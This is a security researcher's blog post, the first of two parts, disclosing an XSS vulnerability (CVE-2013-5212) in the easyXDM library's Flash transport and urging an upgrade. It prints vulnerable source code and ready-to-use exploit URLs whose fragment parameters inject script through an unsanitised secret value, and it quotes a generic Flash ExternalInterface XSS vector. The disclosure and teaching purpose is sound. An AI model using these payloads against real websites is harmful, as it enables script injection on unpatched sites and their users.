Monday, September 23, 2013

Exploiting EasyXDM part 1: Not the usual Flash XSS

tldr: You're using easyXDM? Upgrade NOW. Otherwise - read up on exploiting difficult Flash vulnerabilities in practice.

Secure cross-domain communication is hard enough, but it's a piece of cake compared to making it work in legacy browsers. One popular library that tries to handle all the quirks and even builds an RPC framework is easyXDM.

But this is not an advertisement. As usual, you only get to hear about easyXDM here, because I found some interesting vulnerabilities. Combined, those allow me to XSS websites using that library. Certain conditions apply. As exploiting the subject matter is quite complex, I decided to split the post into two parts, this being the first one.

Intro

"EasyXDM is a Javascript library that enables you as a developer to easily work around the limitation set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in 2.4.16 version, and are patched in 2.4.18. They are tracked with a single CVE-2013-5212. As a side note - don't we all love working around this pesky Same Origin Policy?

Off we go!

EasyXDM is a library for client-side (i.e. window to window) communication. For example, it allows one to setup an RPC endpoint that could be accessed cross-domain. Imagine http://a.caller.com document calling functions from http://rpc.example.net/rpc.html (see example). We don't need the ful setup though. For our purpose, all we're interested in is that there is some http://rpc.example.net/rpc.html document with easyXDM script that initializes EasyXDM.Rpc endpoint based on some input parameters.

Remember that cross-browser requirement? Nowadays we can just use HTML5 postMessage API to transport messages cross-domain, but for legacy browsers we need to rely on old & dirty tricks. EasyXDM supports quite a few transport mechanisms. One of them is Flash. And this brings us to:

Flash XSS. Hell yeah!

Flash transport is implemented in small easyxdm.swf file that uses LocalConnection for transferring messages (see source). It also uses ExternalInterface to communicate with JS on embedding document (in our case, http://rpc.example.net/rpc.html). The same ExternalInterface that was used multiple times as a handy XSS enabler. Putting all past great research in two points:
  • If anything attacker controlled ends up in ExternalInterface.call(), we have a really nasty XSS on a page embedding Flash that Adobe won't fix but should have,
  • The vector is \"));throw_error()}catch(e){alert(1))}//
  • Usually the payload is in FlashVars (parameters passed from HTML document to Flash application) and is trivial to trigger because you can just load a http://file.swf?a_flashvars_param=xss URL. 
However, it's not a walk in the park here as:
This release, and specifically the new FlashTransport has now been audited by a member of the Google Security-team, and we are quite confident in its level of security.

That shouldn't scare us, right? Let's look what gets passed to ExternalInterface.call() We'll quickly find that if debug output is enabled (which happens when FlashVar log=true), channel and secret variables end up in there.
// createChannel function...
var receivingChannelName:String = "<em>" + channel + "</em>" + secret + "_" + (isHost ? "provider" : "consumer");

...
if (listeningConnection.connect(receivingChannelName)) {
    log("listening on " + receivingChannelName);  

} else {
    log("could not listen on " + receivingChannelName); 
}

// set up the logger, if any
var log = _root.log == "true" ? function(msg) {
    ExternalInterface.call(prefix + "easyXDM.Debug.trace", " swf: " + msg);
} : function() {
};
Where do these variables come from? SWF creates a createChannel function in HTML document, so they are passed from Javascript. And, while channel is sanitized with character whitelist, secret is not:
ExternalInterface.addCallback("createChannel", { }, function(channel:String, secret:String, remoteOrigin:String, isHost:Boolean) {
    if (!Main.Validate(channel)) return;
    ...// Main.validate(secret) should be here as well...
So, if attacker can set the secret to e.g.
j\"-alerssst(2)))}catch(e){alert(document.domain)}//
and force the Flash file to log that secret, we have XSS. Pay attention though, secret is not a FlashVar, so the exploitation is different. To trigger the vulnerability on rpc.example.net, we need a document there that looks roughly like this:
<object classid="..." id="swf">
    <param name="movie" value="easyxdm.swf" />
    <param name=FlashVars value="log=true&..." />
</object>
<script>
document.getElementById('swf').createChannel('channel', 'j\"-alerssst(2)))}catch(e){alert(document.domain)}//', ...);
</script>
Of course, we cannot create such a document directly (we'd need XSS for that), To achieve our goal, we'll use some gadgets from easyXDM to do that work for us, sort of like ROP. Told you - not a walk in the park. To exploit the flaw in easyXDM RPC endpoint we need to:
  1. force easyXDM to use Flash transport
  2. have control over the secret value
  3. force easyxdm.swf to use debugging output
Let's do it!

Force Flash transport

As easyXDM uses various transport mechanisms, it needs a way of telling remote party which transport method will be used. The author decided the URL of the endpoint itself for that purpose. Initialization parameters are extracted from location object (source):
// build the query object either from location.query, if it contains the xdm_e argument, or from location.hash
var query = (function(input){
    input = input.substring(1).split("&");
    var data = {}, pair, i = input.length;
    while (i--) {
        pair = input[i].split("=");
        data[pair[0]] = decodeURIComponent(pair[1]);
    }
    return data;
}(/xdm_e=/.test(location.search) ? location.search : location.hash));


function prepareTransportStack(config){
    // ...
    config.channel = query.xdm_c.replace(/["'<>\\]/g, "");
    config.secret = query.xdm_s;
    config.remote = query.xdm_e.replace(/["'<>\\]/g, "");
    protocol = query.xdm_p;
    // ...
}
We can of course abuse that setup and force easyXDM to use the vulnerable Flash transport. That requires setting xdp=6 parameter in the URL (easiest to do in fragment part of an URI). So all you need is http://rpc.example.net/rpc.html#love=(too-too-roo-roo-roo)&xdp_p=6.

Whisper the secret

Similar to 1. GET xdp_s parameter value becomes a channel secret and easyXDM passes that to createChannel() function automatically. Attacker only needs to append xdp_s parameter to URI fragment part, e.g.:
http://rpc.example.net/rpc.html#xdp_p=6&xdp_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh

Turn on debugging

Flash file must use the debugging functionality, which requires passing FlashVars log parameter with the value true. Luckily, this is the default value if RPC endpoint uses  easyXDM.debug.js script. For example if http://rpc.example.net/rpc.html contains:
<script type="text/javascript" src="easyXDM.debug.js"></script>
<script type="text/javascript">
    var transport = new easyXDM.Socket({
        local: ".",
        swf: "http://easyxdm.net/current/easyxdm.swf",
    });
</script>
Then exploiting it requires navigating to:
http://rpc.example.net/rpc.html#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh

Sites implementing EasyXDM are vulnerable if easyxdm.debug.js is included anywhere in the codebase in documents that call EasyXDM.Socket() or EasyXDM.Rpc(). What's worse, standard easyXDM distribution has a lot of these documents, e.g. located in test and example subdirectories. So if the full distribution of easyXDM < 2.4.18 is uploaded somewhere, XSS is as easy as:

http://example.com/easyxdm/test/test_transport.html?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh

Summary

So we have an exploitable XSS vulnerability on websites that:
  • use full installation of easyXDM library with exemplary directories reachable by URL
  • or use easyxdm.debug.js script in their code.
Neat, but it's not enough. I was able to find another chained vulnerability to XSS all websites using easyXDM library, not needing to rely on the easyxdm.debug.js script defaults. But that's a story for the 2nd post...

This is a first post describing easyXDM vulnerabilities. The second post is available at:

No comments: